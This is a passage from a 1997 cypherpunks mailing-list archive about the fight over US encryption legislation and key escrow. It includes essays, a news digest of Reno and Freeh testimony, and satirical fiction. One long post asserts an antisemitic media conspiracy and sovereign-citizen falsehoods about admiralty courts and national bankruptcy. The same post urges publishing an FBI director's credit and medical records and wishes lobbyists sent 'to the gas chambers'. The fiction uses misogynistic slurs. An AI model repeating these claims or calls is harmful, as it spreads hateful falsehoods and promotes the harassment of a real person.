certain flaws, or block various amendments in encryption
legislation being shepherded through Congress. A far more
fundamental problem with these legislative efforts from the
beginning was that they involved an implicit concession to the
idea that a U.S. citizen's freedom to privately exchange
information in whatever coding scheme he or she might choose
required some kind of government affirmation or ratification as
validation. Once one seeks for the government's deigning to
"affirm the rights of United States persons to use and sell
encryption", it can (and does) then easily proceed to attach
conditions and caveats to these "affirmed" rights. In the
process the surveillance hawks within the government have
managed, with hardly any struggle, to advance the appearance of
legitimacy for their claims of authority to regulate this form of
expression.

Now comes an expectation that the nature of these "affirmed
rights" should be tailored to address "the concerns of national
security and the federal law enforcement community." This same
community has on occasion complained about how their efforts to
fight organized crime and terrorism are being thwarted by not
having the modern newspeak disguised equivalent of "Writs of
Assistance" (and they are arguably making progress toward
acquiring just such powers IMO). Very few politicians are
willing to commit the heresy of clearly and staunchly asserting
that the information coding methods used by citizens are under
no obligation to pass any litmus test, or to be subject to any
kind of prior approval or restraint determined by criteria of
the law enforcement establishment or anyone else. If the Feds
lament that this will make their job harder, too bad. In the
words of Orson Welles: "Only in a police state is the job of a
policeman easy."

When these various legislative efforts attempted to reach beyond
the issues of export restrictions to address those of domestic
use, they became a doubtful and dangerous fix to something that
wasn't broke in the first place. If the Government is intent on
"abridging the freedom" to use strong encryption domestically, a
legislative affirmation of these rights is feeble comfort at
best. If I'm seeking to protect my possessions, I don't ask a
thief to affirm my property rights.

Of course, even the export question is really about the aims of
the state's surveillance constituency to obstruct the wide
deployment of strong encryption domestically, and its
interoperability on the internet as a whole. Challenging the
derisible bogosity of the "preventing the Evil Ones from
acquiring this technology" rationale that is invoked to justify
these restrictions was not something legislation was likely to do
with any great vigor. Legislation to "relax" these restrictions
involves lending credence to the dubious assumption that these
restrictions had any constitutional validity to begin with.

Any bill that would have truly provided for the statutory
endorsement of the acceptably uncompromised use of strong
encryption never really had much more than a snowball's chance in
hell of actually being signed into law given the current
political balance of power, did it? Far more likely, was that it
could be corrupted and hijacked as a vehicle to further the very
type of restrictions it was purportedly intended to relieve. A
collateral consequence is an increased arrogance and presumption
among lawmakers that it is their prerogative to act to define for
us citizens, what freedoms for domestic use of encryption we
should be permitted. The growing gallery of GAK amendments and
competing legislative proposals now emerging appears to support
this sad scenario.

It's starting to look like the prospects for meaningfully
improving the situation with encryption legislation in the
current political environment were about as promising as the
prospects of a neophyte gambler coming out ahead at a crooked
casino. I expect any apparent winnings in the end will come with
a catch between the lines in the fine print, if they come at all.
In any case, whatever is legislatively affirmed can later be
legislatively denied. What a King presumes is his to grant, he
usually presumes is his to revoke as well.

In the end, what will have really been gained by this legislative
venture, and what will have been explicitly or implicitly
surrendered? As I see it, at this point the issue isn't about
counting wins, it's about cutting losses.

Freedom of encryption.... Is it SAFE? I don't think so.

-Michael

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----------------------------------------------------------------------------

                        Anarchist Post of the Century
----------------------------------------------------------------------------

Subject: DejaVu: Cypherpunks as Philosopher Kings
From: "Attila T. Hun" <attila@hun.org>
Reply-To: "Attila T. Hun" <attila@primenet.com>
Organization: home for unpenitent hackers; no crackers!
To: "Timothy C. May" <tcmay@got.net>, cypherpunks
<cypherpunks@cyberpass.net>

-----BEGIN PGP SIGNED MESSAGE-----

ten months ago: on or about 961218:1123
"Timothy C. May" <tcmay@got.net> purported to expostulate:

+_Direct action_ is what it's all about. Undermining the state through
+the spread of espionage networks, through undermining faith in the tax
+system, through even more direct applications of the right tools at the
+right times.
+
+When Cypherpunks are called "terrorists," we will have done our jobs.

[Tim] said this before Christmas last year as an erudite and lengthy
addendum to my lengthy tome: "Cypherpunks as Philosophy Kings"
that pretty well summed our generally mutually agreed "philosophy".

both were and still are worth reading; anybody who does not have
copies, ask.

but cypherpunk terrorists are not violent; this is all about making
information free and protecting privacy with technology.

despite the fact the Commerce Committee effectively killed SAFE
(or we think they did until Oxley tries to tack his amendment
structure on an appropriations bill in a house-senate conference or
"manager's mark" procedure (whatever that is)), we can not drop the
due diligence, and the public must be aroused, called to battle.
even if there is no action, prepare for the next fire drill. sow the
seeds of dissension.

seems to me we were sure the CDA was dead --except it slipped in with
a manager's mark after the house voted almost unanimously the other
way (402-12 or something like that). the capitol hill sleaze
took a grand slam NO and reported an even worse yes, making it part
of a major bill that absolutely was going to pass --and they
have the gall to call that travesty democracy? Teddy Roosevelt:

"It is difficult to make our material condition better by the
best law, but it is easy enough to ruin it by bad laws."

Tim's message for Christmas last was the prophetic call for direct
action; legal action; empowerment action: Robert H. Jackson
(1892-1954), U.S. Judge:

"It is not the function of our Government to keep the citizen
from falling into error; it is the function of the citizen to
keep the Government from falling into error."

                  CYPHERPUNKS MUST BE THE JOHNNY APPLESEED

                           OF THE INFORMATION AGE.

the sleazeball, who intends to make J Edgar look like a piker at
surveillance, has the gleam of unabridged power in his eyes. Louis
F[reeh,uck] is charming, even disarming, as he tells a Congressional
committee:
"We are potentially the most dangerous agency in the
country if we are not scrutinized carefully." (Jun '97)

meaning the FBI will be the most powerful [feared] federal agency?
really? I thought it was already, although the DEA and BATF have
worked hard for the title, too.

Supreme Justice Louis O. Brandeis said:
"The greatest danger to liberty lurks in insidious encroachment
by men of zeal, well-meaning but without understanding."

and the [London] Electronic Telegraph, on Sunday's front page:
Mr. Freeh has won $370 million (ú230 million) of
funding for 2,000 new posts, boosted the number of
active agents to more than 11,000, and expanded
open-ended "domestic security operations" from 100 in
1995 to more than 800. Twenty-three new FBI offices
are opening abroad.

and more:

But none of this will contain the director's ambitions
or his power. He is now believed to be eyeing two
other "secret police" forces - the Drug Enforcement
Agency and the Bureau of Alcohol, Tobacco and Firearms
- with a long-term view to a takeover.

F[reeh,uck] holds the key to the Clinton's' ambitions; the Clintons
cite the Roosevelts as their mentors; Hillary even communes with the
long dead Eleanor. Bubba's stated goals included extending FDR's
"chicken in every pot" --he's just appeasing the crowd now.

Leopards do not change their spots, but Bubba has shifted to the
right with public opinion; he is just like the leopard: playing with
his food until sufficient presidential powers have been accumulated
by the default of Congress and the people.

But, the INFORMATION REVOLUTION now stands in way of the Clinton
plans; the Internet can destroy the media control now exercised by
the acquiescence of the five Jewish media barons. In fact, it is
destroying their monopoly.

            THE CONTROL OF INFORMATION IS THE CONTROL OF POWER.

Why does F[reeh,uck] hold the key? Because his job is to sell the
Congress on strangling the information revolution before it destroys
truthless governments F[reeh,uck]'s masters understand and control.

Franklin D. Roosevelt was inaugurated on 4 Mar 33 stating:
"I am prepared under my constitutional duty to
recommend the measures that a stricken nation in the
midst of a stricken world may require. These
measures, or such other measures as the Congress may
build out of its experience and wisdom, I shall
seek, within my constitutional authority, to bring
to speedy adoption. But in the event that the
Congress shall fall to take one of these two
courses, and in the event that the national
emergency is still critical, I shall not evade the
clear course of duty that will then confront me. I
shall ask the Congress for the one remaining
instrument to meet the crisis broad Executive power
to wage a war against the emergency, as great as the
power that would be given to me if we were in fact
invaded by a foreign foe."

and, on 9 Mar 33, 5 days later, FDR extracted from an uniformed
and essentially special session of Congress:
"Be it enacted by the Senate and the House of Representatives of
the United States of America in Congress assembled, That the
Congress hereby declares that a serious emergency exists and
that it is imperatively necessary speedily to put into effect
remedies of uniform national application."

which was based on the War Powers Act (trading with the Enemy) of
1917 which was hastily revised to include US Citizens which had been
exempted. Next, FDR "franchised" the banks, "licensed" agriculture
and so on. But, to render the citizens powerless and to confiscate
all assets so the national state was the ultimate owner, and
therefore able to pledge the people for credit to the international
bankers, the fundamental monetary system changed:
"Whenever in the judgment of the Secretary of the
Treasury, such action is necessary to protect the
currency system of the United States, the Secretary
of the Treasury, in his discretion, may require any
or all individuals, partnerships, associations and
corporations to pay and deliver to the Treasurer
of the United States any or all gold coin, gold
bullion, and gold certificates owned by such
individuals, partnerships, associations and
corporations."

which closed the loop and made every US citizen chattel as FDR
pledged the good faith and credit of the United States to the
international bankers --in return, an unbelievable flood of credit
was available since the good faith and credit of the United States
is "We the People...." but FDR sold us downstream into a debt
financed economy from which there is no escape; we are still there,
the debt service is destroying any permanent economy AND total
collapse under the debt load is bequeathed to our children.

Congress repealed FDR's rubber stamp for the "President" in 1973,
but the War Powers Act remains, still modified to treat US
citizens as the enemy. and the power of the "President" to make
those regulations, and the automatic approval are enshrined for
current and future Presidents in Title 12 USC 95(b)
"The actions, regulations, rules, licenses, orders and
proclamations heretofore or hereafter taken, promulgated, made,
or issued by the President of the United States or the Secretary
of the Treasury since March the 4th, 1933, pursuant to the
authority conferred by subdivision (b) of Section 5 of the Act
of October 6, 1917, as amended, are hereby approved and
confirmed."

The real issue is the President and the fat cat power brokers can
get away with these shenanigans __as_long_as_the_people_let_them__.
We are still under the Rule of Necessity. We are still in a declared
state of national emergency, a state of emergency which has existed,
uninterrupted, since 1933.

FDR's licensing agencies were rather trivial in number; today there
are thousands of them, many with their own administrative courts.
FDR took away our common law when he bankrupted America, which is a
national corporation under the Hague convention (courtesy of Stanton
and Seward after the Civil War). Bankruptcy is a contract, and
we are the bait, subject to that court, which is in effect an
Admiralty court, and we are "licensed" to literally exist by FDR's
Social Security Number schema. and every courtroom now flies the
fringed Admiralty flag where habeas corpus is a privilege, not a
right, if it exists at all.

This is the importance of Louis F[reeh,uck]. He, and Janet Reno as
the DOJ rubber stamp, are holding the collar for your neck. They
are selling it to you little by little, or even all at once.

Why Louis F[reeh,uck]? Madison Avenue style with credentials; he
can sell the program. F[reeh,uck] is the front man, the schill.

Machiavelli, in his "Discourses of Livy," acknowledged that great
power may have to be given to the Executive if the State is to
survive, but warned of great dangers in doing so. He cautioned:
Nor is it sufficient if this power be conferred
upon good men; for men are frail, and easily
corrupted, and then in a short time, he that is
absolute may easily corrupt the people."

sleazeball's comments are scarfed by Congress, sleazeball's candor
rocks their cradles, sleazeball shows them private morality plays
about a populace running wild with crypto-anarchy, running wild
to burn out the offices of central power... in other words:

                   DEPRIVE THEM CONGRESSCRITTERS OF THEIR
                          FREE LUNCH AND IMMUNITY.

is it not odd that the more the government tries to abridge our free
speech rights, the more they want to confiscate our weapons?

free speech is a weapon of democracy!
privacy is a weapon of democracy!
cryptography is a weapon of democracy!

We are not fighting with guns and explosives this time, armed
insurrection against the power of the Federal government is
suicidal --we are fighting for our lives and the right to live our
lives with words: the ability to hear those words _before_
government censors and spin doctors render them useless lies.

Bubba can not win a war of truth and information; we can/

The Marquis de Sade:
Are not laws dangerous which inhibit the passions?
Compare the centuries of anarchy with those of the
strongest legalism in any country you like and you will
see that it is only when the laws are silent that the
greatest actions appear.

however, anarchy is the key word that ignites even the ACLU against
your cause; it even makes bedfellows of Pat Buchanann and the
homosexual/priest/congressman from Massachusetts...

pure anarchy, by definition, does not work, anyway. forget it. get
the concept out of your systems as it inflames everyone and all
other reason is lost in the screaming and police batons.

Even Teddy Roosevelt called for the complete extermination of
anarchists, to be hunted like vermin. give it up; or go to your
private island and fly your rattlesnake flag. even Anguilla will not
tolerate anarchists.

just give us our REAL constitutional rights as Franklin, Madison,
Jefferson, Adams, and friends intended; give us constitutionalists
on the Supreme Court, not bleeding hearts, statists, and central
power freaks. get the Feds out of cradle to grave big government and
let the people determine their religion and morality.

give us freedom of speech, freedom to bear arms, freedom from
unreasonable searches, freedom not to incriminate ourselves, and
repeal the 14th Amendment so we can have states' rights again.

if our Constitution were permitted to govern as it was intended, and
the states obeyed the precepts endowed to not further limit the
rights of the people, America would be the home of the free, not big
government, not freeloaders and the welfare state; not the leftovers
of a once great nation.

give us the rights Abraham Lincoln cherished lovingly:
"Those who deny freedom to others deserve it not for themselves."

let _them_, not me, live the downside.

George Washington, in his farewell address, warned:
"... change by usurpation; for through this,
in one instance, may be the instrument of good,
it is the customary weapon by which free
governments are destroyed."

cypherpunk philosopher kings: pick up your picks and shovels, get
your hands dirty, and start digging in; it's going to be a long and
difficult campaign and the tactics needed to expose F[reeh,uck]'s
true intentions as the schill for the Clintons who are schills
for the elitist leading the destruction of American democracy.

The Congressional compromise love match season isn't over yet; the
schmoozers and lobbyists, like so many furry rats, still wander the
dark halls and tunnels looking for the last, late in the season,
clandestine and obscene fuck. any whore will do.

lobbyists have long reputations for selling out the interests of
their paymasters; the lobbyists are so much a part of the Washington
culture that they have _no_ morality or moral position --it is all
about who they can claim to have influenced --what difference does
it make if it is contrary to the client --the art of the deal,
protect their own position and find newer, richer clients --whores!
logrolling and porkbarrel voting --but never go home without a deal;
used car salesmanship: get your man.

I can hear the lobbyists whining now as they are called on the
carpet:
"aw, come on Mac, we got you a compromise from LEA demands..."

never realizing that there is such an action as NO bill, they sell
out half our rights blocking legislation which would never happen.

they claim they got back half. what half? --some unknown half that
we _never_ lost! that is why:
The 10 Commandments contain 297 words. The Bill of Rights is
stated in 463 words. Lincoln's Gettysburg Address contains 266
words; and:
A recent federal directive to regulate the price of cabbage
contains 26,911 words. (The Atlanta Journal)

send the quisling Neville Chamberlains to the gas chambers!

the public needs to be educated, not in crypto, but in the horrors of
an oligarchy which intends to destroy the fundamental freedoms on
which we stand.

publish his credit records; publish his medical records --tell his
neighbors about his visits from Child Protective Services... then
Joe Coach Potato will figure out he needs something

AFTER he figures out there are fuckors and fuckees,
and he's on the short end of that stick. [pardon my French]

then, and only then, will the masses understand privacy --when they
have lost it.

either we show the people before they lose everything to uncle,
or... just dump it on the table to show everyone just how much
uncle knows about _you_.

Attila's thought for the day:
Now, with a black jack mule you wish to harness, you walk up,
look him in the eye, and hit him with a 2X4 over the left eye.
If he blinks, hit him over the right eye! He'll cooperate.
--so will politicians.

Louis F]reeh,uck], did you really state this hoping everyone would
think you are joking?
"We are potentially the most dangerous agency in the
country if we are not scrutinized carefully."

Louis F[reeh,uck], you obviously know that telling the truth, before
the truth is really the truth, disarms your opposition since they
can plainly see that it is not true.

there is a limit to what you can endure before you must stand to
be counted --so I will loudly echo Tim's sentiment:
+
+When Cypherpunks are called "terrorists," we will have done our jobs.
+
--
"Experience keeps a dear school, but fools will learn in no other."
--Benjamin Franklin

______________________________________________________________________
"attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

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Copyright "Anonymous TruthMonger <at@dev.null>"
"Do you feel 'Cypher'...Punk? Well...do you?"
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 5 Oct 1997 02:23:11 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <a0d7a6e24eaa3e5b29bae50f291871a1@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain




It is time to spread some new propaganda,
especially in America.

One of you with some money should get bumper
stickers made up. Make them look nice, with
a nice clean font and very simple, say dark
lettering on a white background, noble looking.

Have them say this:


    I am an anarchist.
    I do not believe in government.


Simple. Gets the point across.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 5 Oct 1997 03:27:48 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: None (fwd)
Message-ID: <199710041943.OAA01527@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 4 Oct 1997 14:14:08 -0400
> From: Anonymous <anon@anon.efga.org>
> Subject: None

> It is time to spread some new propaganda,
> especially in America.
> 
> One of you with some money should get bumper
> stickers made up. Make them look nice, with
> a nice clean font and very simple, say dark
> lettering on a white background, noble looking.
> 
> Have them say this:
> 
> 
>     I am an anarchist.
>     I do not believe in government.
> 
> 
> Simple. Gets the point across.

The point being, this is a cook.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Deja Vu <dv@dev.null>
Date: Sun, 5 Oct 1997 05:51:52 +0800
To: cypherpunks@toad.com
Subject: InfoWar 33 / (Part III of 'The True Story of the InterNet')
Message-ID: <3436B3A5.458B@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Anarchist Post of the Century 
Anarchist Post of the...(Ouch!)



Anarchist Post of the Century


Subject: Crypto-continuation in Washington: FBI/DoJ keep
up the pressure
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu, cypherpunks@toad.com

Crypto is hot in Washington. Don't think the battle's over; it's
just
beginning:
This afternoon when the Senate Intelligence committee met
to consider a
new CIA deputy director, Sen. Bob Kerrey said "there's a
real urgency" to
get an encryption bill passed. (Presumably, that would be his
bill, the
"Key Escrow Infrastructure" McCain-Kerrey/S.909.) Anyone
still think that
the Senate will do the right thing on crypto? Think again...
* Last week Janet Reno talked at her weekly press conference
about
balancing law enforcement rights with privacy rights -- through
mandatory
domestic key escrow.
* Yesterday Louis Freeh spoke at length before the House International

Relations committee about the spread of nuclear weapons... and
reminded
committee members about the problems the FBI has with nonescrowed
crypto...
* Sen. Jon "Mandatory Domestic Key Escrow" Kyl said
on Sunday that the
Clinton administration's export controls on crypto were *not tight

enough*...


More info:
  http://cgi.pathfinder.com/netly/opinion/0,1042,1385,00.html

  http://www.jya.com/declan8.htm

-Declan

****************

        HEARING OF THE SENATE INTELLIGENCE COMMITTEE
        NOMINATION OF LT.-GEN. JOHN A. GORDON
        TO BE DEPUTY DIRECTOR OF THE CENTRAL INTELLIGENCE AGENCY

        CHAIRMAN:  SENATOR RICHARD SHELBY (R-AL)
        106 DIRKSEN SENATE OFFICE BUILDING
        WASHINGTON, DC
        2:00 P.M. EDT
        WEDNESDAY, OCTOBER 1, 1997

SEN. KERREY:  I hope no doubt that you've heard of and perhaps
had the
opportunity to read the recommendations made by Senators Helms
and
Moynihan, but I think they're excellent.  It's an excellent examination
of,
first, the need in some instances to classify, as well as the
need to
examine that classification system.
        It's not really a question, General Gordon.  I think it's

imperative that, on the issue of encryption, that the president
exert some
authority and try to pull together the congressional leaders and
say, "We
need a secure public network."  There's counter-intelligence
concerns.
There's national security issues here at stake, obviously, balanced
against
the concerns for civil liberties and the concern for commercial
interests
and the need to develop.
        But there's lots of action up here on the Hill, both in
the House
and the Senate, in half a dozen committees or eight or nine committees,
or
Lord knows how many altogether, more than I realized existed.
 And I think
there's a real urgency to get something passed both for the private
sector,
so they can have some stability, but also on the public-sector
side, so we
can protect the nation's interests.
        MR. GORDON:  Senator, I have not delved that deeply into
the
encryption issue.  I certainly take your point on this point.
 But I do
know that if the Senate does confirm me that that will be squarely
on my
plate.

****************

        ATTORNEY GENERAL JANET RENO'S WEEKLY MEDIA AVAILABILITY

        U.S. DEPARTMENT OF JUSTICE
        WASHINGTON, DC
        THURSDAY, SEPTEMBER 26, 1997

        Q     No, wait -
        ATTY GEN. RENO:  You've got to be quicker than that.
        Q     (Inaudible) - yes, ma'am.  Director Freeh and Director

Constantine both have complained that U.S.-made encryption devices
are
giving the drug cartels an advantage whereby interdiction becomes
impaired.
Would you favor, as Mr. Freeh does, some kind of giving of the
keys to
these devices to the FBI and DEA?
        ATTY GEN. RENO:  I don't think that Director Freeh favors
giving
keys to the FBI and to the DEA.
        Q     No?
        ATTY GEN. RENO:  What Director Freeh has talked about
is what we
have today - if someone is going to tap a phone, they don't just
go in and
tap the phone, if they're going to do it legally.  What law enforcement

does is it develops probable cause to believe that the telephone
is being
used to commit a crime and that to overhear would provide evidence
of a
crime.  That is submitted to a judge, both in federal court and
in many
states courts where wiretapping is authorized.  The judge reviews
the
sufficiency of the affidavits in support of the petition and enters
an
order directing the telephone company to provide that opportunity.

        What Director Freeh is hoping to achieve is the same thing
with
respect to encrypted products; so that the court would direct
that the key
be provided to the telecommunications system, or the other system,
in order
to decrypt the encoded message.
        What we're trying - what the administration is trying
to do is to
recognize that there are two important interests at stake here.
One is the
law enforcement interest, which is so vital with respect to terrorists,

with respect to being able to decrypt the drug dealer's computer
when I - I
can get a search warrant now and seize his black book and I can
read his
black book or decipher what he's talking about.  But if he can
encrypt the
information on his computer, that will be a significant obstacle
to law
enforcement.
        At the same time, the whole purpose of encryption with
modern
telecommunication is to provide for the privacy interest, of commercial

interest of the average citizen.  And so I think it's important
that we
work together to ensure the law enforcement capacity and ensure
that the
present capacity to get court-ordered authorities for surveillance
are
continued and are made real, while at the same time ensuring privacy.

        Q     So you're saying that the phone company would have
the
responsibility?  Do they have the capability of encrypting?
        ATTY GEN. RENO:  The phone company doesn't have it.  There
would be
a system whereby a key would be provided through third parties
or
otherwise.  But this is something that we need to work together
on to
ensure that law enforcement interests are protected and that privacy

interests are protected as well.

****************

        HEARING OF THE HOUSE INTERNATIONAL RELATIONS COMMITTEE

        SUBJECT:  ORGANIZED CRIME
        CHAIRED BY:  REPRESENTATIVE BEN GILMAN (R-NY)
        LOUIS FREEH, DIRECTOR, FEDERAL BUREAU OF INVESTIGATION

        2172 RAYBURN HOUSE OFFICE BUILDING
        WEDNESDAY, OCTOBER 1, 1997
        10:00 A.M EDT

        REP.     :  Following up on what Mr. Hyde said on your
need to
fight international crime and terrorism, what do you need, as
an agency
director and for your agency, in terms of specifics to wage a
fight that
you can win?
        MR. FREEH:  Yes, sir.  As I mentioned in my statement,
I think we
need it on three levels.  We need the permanent and minimal FBI
presence
overseas to develop the kinds of relationships that Dr. de Gennaro
and I
have had now for 18 years.
        We have asked for, and the Congress approved last year,
in August
of 1996, a plan to expand the FBI's Ligat (sp) program from approximately

23 to 43 Ligats.  That would call for, by the end of 1999, 146
special
agents in 42 different countries with 116 support employees. 
That's a
total of 262 people.  As I mentioned, the plan was submitted last
year.  It
wasn't just an FBI plan.  It was jointly submitted by the State
Department
and the attorney general.  And we've asked for funding in the
1998 and 1999
budgets to reach that level.
        We've also asked for a continuation of the training. 
As I
mentioned, we've been able to train thousands of police officers
around the
world.  The benefit of that training is two-fold.  First of all,
we can
give them what they need most of all, which are the basic tools
to conduct
their own investigations.
        Just as importantly, we develop through those relationships,
as Dr.
de Gennaro described it, the cop-to-cop contacts and relationships.
 So an
FBI agent or a DEA agent can pick up the phone and speak to a
police
commander in Uzbekistan or Kazakhstan, if that's the place where
we need to
do our work.  So the training is a very important part of the
whole program.
        And again, and finally, we need the technological tools
to do our
work.  We have to be able to communicate rapidly and securely.
 We have to
deal with encryption.  We have to deal with cyber-crime.  And
those are all
part of a larger technological challenge which we're trying to
meet.

[...]

        REP. LINDSEY GRAHAM  (R-SC):  Thank you, John.
        Director Freeh, appreciate your testimony.  It's been
quite
riveting, actually.  One of the briefing papers we have indicates
that the
American public, in a recent poll, whatever you want to take polls
worth,
say that 70 percent of the American people who were surveyed found
it
likely that the United States could be attacked by terrorist groups
within
the next decade using smuggled nuclear devices.  If you were asked
that,
what category would you be in?
        MR. FREEH:  I think it's a threat and a possibility that
should
occupy our highest priority.  I think we've seen attacks certainly
in
Oklahoma, in New York City.  We know that many of the state sponsors
of
terror, including Iran, are rapidly and very aggressively acquiring
nuclear
technology, both in terms of warheads and launching devices. We
know that
many of the state sponsors of terrorism, particularly Iran, sponsor
and
fund and control Hezbollah groups, including groups which have
connections
and operations in the United States.
        So the links, although I don't think I've seen them in
a documented
form, clearly suggest that if a terrorist is willing to use a
truck bomb to
blow up a building with thousands of people at risk, the accomplishment
of
the particular objective would not be changed or influenced by
the
opportunity to use a much more devastating (nuclear?) or biological
or
chemical agent.
        So I think we have to take the possibility extremely seriously
and
we have to take drastic steps to try to prevent and detect that.

****************

[This thanks to John Young. --Declan]

  Remarks by Senator Jon Kyl at the First International Conservative

                      Congress--September 28, 1997

[...]

     The Clinton Administration pursues a foreign policy without

     clear goals or the will to act decisively and is squandering

     the national security means left to it by a dozen years of

     Republican presidency. It emphasizes hope over reality and

     reliance on arms control agreements like the Comprehensive

     Test Ban Treaty (CTBT), the Anti-Ballistic Missile (ABM)

     Treaty, and the Chemical Weapons Convention (CWC) over a

     stronger defense. And political benefit over national
     security, as in its decisions to cave in to the concerns
of
     some in industry in irresponsibly relaxing export controls
on
     key items like encryption technology and supercomputers.

****************

-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


Anarchist Post of the...(Ouch!)


"Damn it, Baby!" the Tourette Tic grabbed his
elbow and rubbed it. 

Baby had never bitten him that hard before, and it hurt like hell.

"OK, I apologize for the sexist joke I emailed to all
of those poor, unsuspecting people."

The Tourette Tic knew that Baby had bitten him to keep him from
using the same chapter title, once again, but he also knew that
his sexist joke was what had put her in a bad mood to start with.

"And I'll use a different chapter heading for the next
chapter, OK?"

Baby sat down on the bed, and resumed chewing on the moose bone
she had brought home in the middle of the night from some poacher's
stash. She had made her point.

"People with Tourette Syndrome often get caught up in
repetitious cycles of thought and action." the Tourette
Tic was speaking to himself, now, since Baby was putting all of
her attention of the moose bone, wrestling it into submission
as it tried to escape her grasp.
"And sometimes we swear, too, you little cunt."

Baby put her bone down for a moment gave the Tourette Tic a cold
stare, challenging him to continue with this sexist line of thought.

"OK, I apologize." the Tourette Tic said, hastily,
but couldn't resist adding, "I forgot that you're on the
rag...Ouch!"

Baby trotted back to her bone and resumed her attack on it, having
disciplined her alleged master for giving rein to his sexist leanings.
Men...

"<FemiNazi>..." the Tourette Tic muttered,
glancing at Baby, nervously.

Baby pretended she hadn't heard that last comment, but she secretly
smiled as she continued pulling at a piece of sinew on the end
of the moose bone. He was lucky he had her around to keep him
on his toes, or there was no telling how far he would backslide
into the bowels of sexist bachelorhood.


"You can hardly blame him, though." Alexis spoke
the words that all of the members of the Magic Circle were thinking
as they read the last few chapters of 'InfoWar' that had been
submitted by the head of the 'Department of Redundancy Department.'

"True." the Cowboy agreed. "Ever since
Lying Fuck Louis Freeh made the mistake of tipping his hand, the
CypherPunks have risen to the challenge by inundating the list
with a plethora of perceptive and poignant posts."

"Cowboy!" Priscilla said sternly, "Are
you making fun of the tendency of people with Tourette Syndrome
to get caught up in alliteration, wherein they titillate their
tonsils, tending to repeatedly recite repartee redundantly representing
repetitive phrases?"

"Yeth." the Cowboy admitted, making fun of the
lisp that Priscilla had been blessed with as a child, only overcoming
the tendency in adulthood.

"OK, that does it..." Jonathan spoke up, shaking
his head at the inane attitude that the others had been projecting
since their last use of the Trei Transponder.

"I am going to reveal to the readers of Part III of The
True Story of the InterNet, just how depraved you people are,
by adding 'The Plot of the Platypus' to this chapter, and letting
them know that you all found it hilarious."

Bubba Rom Dos stood up, looking offended.
"I resent the implication," he said, "that
I am so insensitive as to laugh at the physical disabilities of
others. I just happened to think of something extremely funny
from my past, at the same time that I was reading 'The Plot of
the Platypus' missive."

"Me, too." Priscilla added, giggling. "I
was thinking of the first time that Bubba and I had sex."

The whole group roared with laughter. Jonathan took it as a sign
from the Tao that he should indeed add the suggested missive to
the chapter, in order to ensure that the readers of 'InfoWar'
would understand the truth spoken by Winifred G. Barton, founder
of the Bartonian Metaphysical Society and the Institute of Applied
Metaphysics, when she said, "Always take metaphysics
seriously. Never take yourself seriously."

"Nuke DC!" Bubba said, and called up the post
onto the GraphiScreen, whereupon Jonathan merged it with the message
to the sexist by A Dog To Be Named Earlier.


Subject: Plot of the Platypus
From: nobody@REPLAY.COM (Anonymous)
Organization: Replay and Company UnLimited
To: cypherpunks@toad.com

**********        ~~~~~~~~~~~~~~~~~~~~       **********

WARNING!!!        Plot of the Platypus         
  !!!WARNING
**********        ~~~~~~~~~~~~~~~~~~~~       **********

  Since the death of Dale Thorn, I have lurked silently in the
list
background while observing the creeping conspiracies continually

compromising cypherpunk costs.
  I mean..."posts." {Damn, now I'm doing it, too.}

Doing what, you ask? 
How did you know what I said? Are you with the MIND POLICE?  

AM I SURROUNDED??!!!??

  {Oh...I see that I put that thought in brackets, where you could

   read it. Whew! Had me worried for a minute, there.}

  To continue...
  Being an anonymous coward who hides behind remailers the few
times
that I post, I have been somewhat hesitant, nonetheless, to reveal

the observations and accompanying thoughts about the direction
that
the cypherpunks lissed has taken {Damn, that's twice, already.
I may
be infected, like many of the others} since the end of the Nazi

moderation/censorship experiment.
  While other, more vocal, list members were celebrating the apparent

'victory' over the Johnboot of fascism being lifted from our typing

fingers, I had a troubled mind, worrying whether the evil forces

were truly vanquished or whether they had merely escaped by way
of
the anonymous remailers, to the negative pole, where they would

bide their time and prepare to strike again.

  I was counting on the shit-disturbers, chiefly Dale Thorn, to

keep a practiced eye out for signs of the evil farces {Was that
a
typo, a Freudian slip, or another sign of the mind infection that

is rapidly spreading on the list?} regrouping to once again try

to destroy the cypherpunks list.
  Suddenly, Dale disappeared--faster than you can say, "Jimmy
Hoffa."
For a time, Toto attempted to carry on in his stead, but I *knew*

Dale Thorn, and Toto is no John F. Kennedy.
  {Shit! Now I'm beginning to steal and corrupt the words of others.

   I'm not certain I like the implications of this. The plot may
go
   even deeper than I previously thought...}

  Where was I...?
  Oh, yes...the Plot of the Platypus...

William H. Geiger III writed:
> A prime example is the welfair class in America.
                            *^^*

Anonymous rote:
>  Many in the welfair class have their basic needs met by...

                 *^^*

  Then, in a startling development,
? the platypus wrote:
>(Australia, most of europe ect have higher welfare rates).

...                                        *^^^^^^^*
